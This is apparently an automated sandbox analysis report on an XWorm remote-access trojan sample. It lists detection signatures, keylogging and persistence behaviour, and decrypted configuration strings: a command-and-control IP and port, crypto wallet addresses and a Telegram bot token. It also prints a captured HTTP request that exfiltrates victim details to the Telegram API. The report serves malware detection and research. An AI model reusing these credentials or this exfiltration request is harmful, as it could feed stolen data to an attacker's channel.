Windows Analysis Report
QWNTSg4Fdm.exe

Overview

General Information

Sample name:	QWNTSg4Fdm.exe renamed because original name is a hash value
Original sample name:	2649ef15cf6004b05c80abd825cd594e.exe
Analysis ID:	1416006
MD5:	2649ef15cf6004b05c80abd825cd594e
SHA1:	2593cb7db276d90d51ea5235eb4c14cbd8ecd5a5
SHA256:	e6f7963c726231571294a06e1e8b1f03b87684cad8383bb194b957fc685685c2
Tags:	32exetrojan
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Telegram RAT

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Contains functionality to log keystrokes (.Net Source)

Machine Learning detection for dropped file

Machine Learning detection for sample

Protects its processes via BreakOnTermination flag

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Tries to load missing DLLs

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: QWNTSg4Fdm.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\ProgramData\QWNTSg4Fdm.exe

Avira: detection malicious, Label: TR/Spy.Gen

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\QWNTSg4Fdm.exe

ReversingLabs: Detection: 78%

Multi AV Scanner detection for submitted file

Source: QWNTSg4Fdm.exe

ReversingLabs: Detection: 78%

Machine Learning detection for dropped file

Source: C:\ProgramData\QWNTSg4Fdm.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: QWNTSg4Fdm.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: QWNTSg4Fdm.exe	String decryptor: 157.254.223.19
Source: QWNTSg4Fdm.exe	String decryptor: 8081
Source: QWNTSg4Fdm.exe	String decryptor: private@123
Source: QWNTSg4Fdm.exe	String decryptor: <Xwormmm>
Source: QWNTSg4Fdm.exe	String decryptor: USB.exe
Source: QWNTSg4Fdm.exe	String decryptor: bc1qvnmel0wr7n7xam2jq9cd6v9kq9ll0fc3ps5j2p
Source: QWNTSg4Fdm.exe	String decryptor: 0x459d192EF8f2288915a6aA1A6F2f9685A42dd7e4
Source: QWNTSg4Fdm.exe	String decryptor: TRDyFoJLpPN2oCCX4ANzpcEiJJiZSR9uZQ
Source: QWNTSg4Fdm.exe	String decryptor: 5498061286:AAEOFPFhizSA_AbkzDV_OWcHlXVsegPpL_c
Source: QWNTSg4Fdm.exe	String decryptor: 1267602057

Uses 32bit PE files

Source: QWNTSg4Fdm.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49714 version: TLS 1.2

Source: QWNTSg4Fdm.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Configuration.pdbHBK source: WERAD.tmp.dmp.17.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: System.Xml.ni.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: System.Xml.pdb+ source: WERAD.tmp.dmp.17.dr
Source:	Binary string: System.ni.pdbRSDS source: WERAD.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb5 source: QWNTSg4Fdm.exe, 00000000.00000002.3583683764.000000001BCBC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: System.Drawing.ni.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: .pdb. source: QWNTSg4Fdm.exe, 00000000.00000002.3590192685.000000001CE48000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: QWNTSg4Fdm.exe, 00000000.00000002.3590192685.000000001CE48000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERAD.tmp.dmp.17.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERAD.tmp.dmp.17.dr
Source:	Binary string: mscorlib.pdbYSTEM@) source: QWNTSg4Fdm.exe, 00000000.00000002.3583683764.000000001BCF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: symbols\dll\mscorlib.pdbpdb` source: QWNTSg4Fdm.exe, 00000000.00000002.3590192685.000000001CE48000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WERAD.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb8_ source: QWNTSg4Fdm.exe, 00000000.00000002.3588217164.000000001CB6A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: m.PDB source: QWNTSg4Fdm.exe, 00000000.00000002.3588217164.000000001CB6A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: System.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: 0C:\Windows\mscorlib.pdb source: QWNTSg4Fdm.exe, 00000000.00000002.3590192685.000000001CE48000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERAD.tmp.dmp.17.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: System.Core.ni.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: QWNTSg4Fdm.exe, 00000000.00000002.3590192685.000000001CE48000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdbg_Y_2 source: QWNTSg4Fdm.exe, 00000000.00000002.3588217164.000000001CB6A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: QWNTSg4Fdm.exe, 00000000.00000002.3583683764.000000001BCF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: QWNTSg4Fdm.exe, 00000000.00000002.3544290949.0000000001105000.00000004.00000020.00020000.00000000.sdmp, WERAD.tmp.dmp.17.dr
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WERAD.tmp.dmp.17.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WERAD.tmp.dmp.17.dr
Source:	Binary string: System.Management.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: System.Drawing.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: mscorlib.ni.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: mscorlib.pdbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: QWNTSg4Fdm.exe, 00000000.00000002.3583683764.000000001BC3B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.ni.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: QWNTSg4Fdm.exe, 00000000.00000002.3588217164.000000001CB6A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdbwJC^x source: QWNTSg4Fdm.exe, 00000000.00000002.3588217164.000000001CB6A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb$-G^ source: QWNTSg4Fdm.exe, 00000000.00000002.3583683764.000000001BCF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERAD.tmp.dmp.17.dr
Source:	Binary string: indoC:\Windows\mscorlib.pdb source: QWNTSg4Fdm.exe, 00000000.00000002.3590192685.000000001CE48000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WERAD.tmp.dmp.17.dr
Source:	Binary string: System.Management.pdbpD source: WERAD.tmp.dmp.17.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERAD.tmp.dmp.17.dr

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2852870 ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes 157.254.223.19:8081 -> 192.168.2.8:49715

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: QWNTSg4Fdm.exe, type: SAMPLE
Source: Yara match	File source: 0.0.QWNTSg4Fdm.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\ProgramData\QWNTSg4Fdm.exe, type: DROPPED

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.8:49715 -> 157.254.223.19:8081

HTTP GET or POST without a user agent

Source: global traffic

HTTP traffic detected: GET /bot5498061286:AAEOFPFhizSA_AbkzDV_OWcHlXVsegPpL_c/sendMessage?chat_id=1267602057&text=%E2%98%A0%20%5BXWorm%20V3.0%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AEF317FDFBD80D532EB57%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: TECHNICOLORUS TECHNICOLORUS

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.223.19

Source: global traffic

Source: unknown

DNS traffic detected: queries for: api.telegram.org

Source: powershell.exe, 00000002.00000002.1570896826.0000015E2FB91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 00000002.00000002.1563853430.0000015E273D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1658167452.00000177F5A22000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1798393428.000001E3DCC93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.1714988874.000001E3CCE49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1549077657.0000015E17589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1594220928.00000177E5BD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1714988874.000001E3CCE49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: QWNTSg4Fdm.exe, 00000000.00000002.3550504893.0000000002F91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1549077657.0000015E17361000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1594220928.00000177E59B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1714988874.000001E3CCC21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.1549077657.0000015E17589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1594220928.00000177E5BD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1714988874.000001E3CCE49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Amcache.hve.17.dr	String found in binary or memory: http://upx.sf.net
Source: powershell.exe, 0000000A.00000002.1714988874.000001E3CCE49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.1570046618.0000015E2F9D0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1675187652.00000177FE147000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000005.00000002.1675187652.00000177FE147000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coF
Source: powershell.exe, 00000002.00000002.1549077657.0000015E17361000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1594220928.00000177E59B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1714988874.000001E3CCC21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: QWNTSg4Fdm.exe, QWNTSg4Fdm.exe.0.dr	String found in binary or memory: https://api.telegram.org/bot
Source: powershell.exe, 0000000A.00000002.1798393428.000001E3DCC93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.1798393428.000001E3DCC93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.1798393428.000001E3DCC93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000A.00000002.1714988874.000001E3CCE49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.1563853430.0000015E273D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1658167452.00000177F5A22000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1798393428.000001E3DCC93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49714 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: QWNTSg4Fdm.exe, XLogger.cs	.Net Code: KeyboardLayout
Source: QWNTSg4Fdm.exe.0.dr, XLogger.cs	.Net Code: KeyboardLayout
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout

Creates a window with clipboard capturing capabilities

Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe

Window created: window name: CLIPBRDWNDCLASS

Source: QWNTSg4Fdm.exe, type: SAMPLE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.QWNTSg4Fdm.exe.c00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.QWNTSg4Fdm.exe.12f99ac0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.3581069105.0000000012F91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000000.1484604074.0000000000C02000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\ProgramData\QWNTSg4Fdm.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Code function: 0_2_00007FFB4AFC7BD6	0_2_00007FFB4AFC7BD6
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Code function: 0_2_00007FFB4AFCDACD	0_2_00007FFB4AFCDACD
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Code function: 0_2_00007FFB4AFC05B0	0_2_00007FFB4AFC05B0
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Code function: 0_2_00007FFB4AFC8D92	0_2_00007FFB4AFC8D92
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFB4AFA71FA	2_2_00007FFB4AFA71FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFB4B0730E9	2_2_00007FFB4B0730E9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFB4AFB71FB	5_2_00007FFB4AFB71FB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFB4B083316	5_2_00007FFB4B083316
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFB4B0730E9	10_2_00007FFB4B0730E9

Source: QWNTSg4Fdm.exe, 00000000.00000002.3581069105.0000000012F91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs QWNTSg4Fdm.exe
Source: QWNTSg4Fdm.exe, 00000000.00000000.1484604074.0000000000C02000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs QWNTSg4Fdm.exe
Source: QWNTSg4Fdm.exe	Binary or memory string: OriginalFilenameXClient.exe4 vs QWNTSg4Fdm.exe
Source: QWNTSg4Fdm.exe.0.dr	Binary or memory string: OriginalFilenameXClient.exe4 vs QWNTSg4Fdm.exe

Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\QWNTSg4Fdm.exe	Section loaded: schannel.dll	Jump to behavior
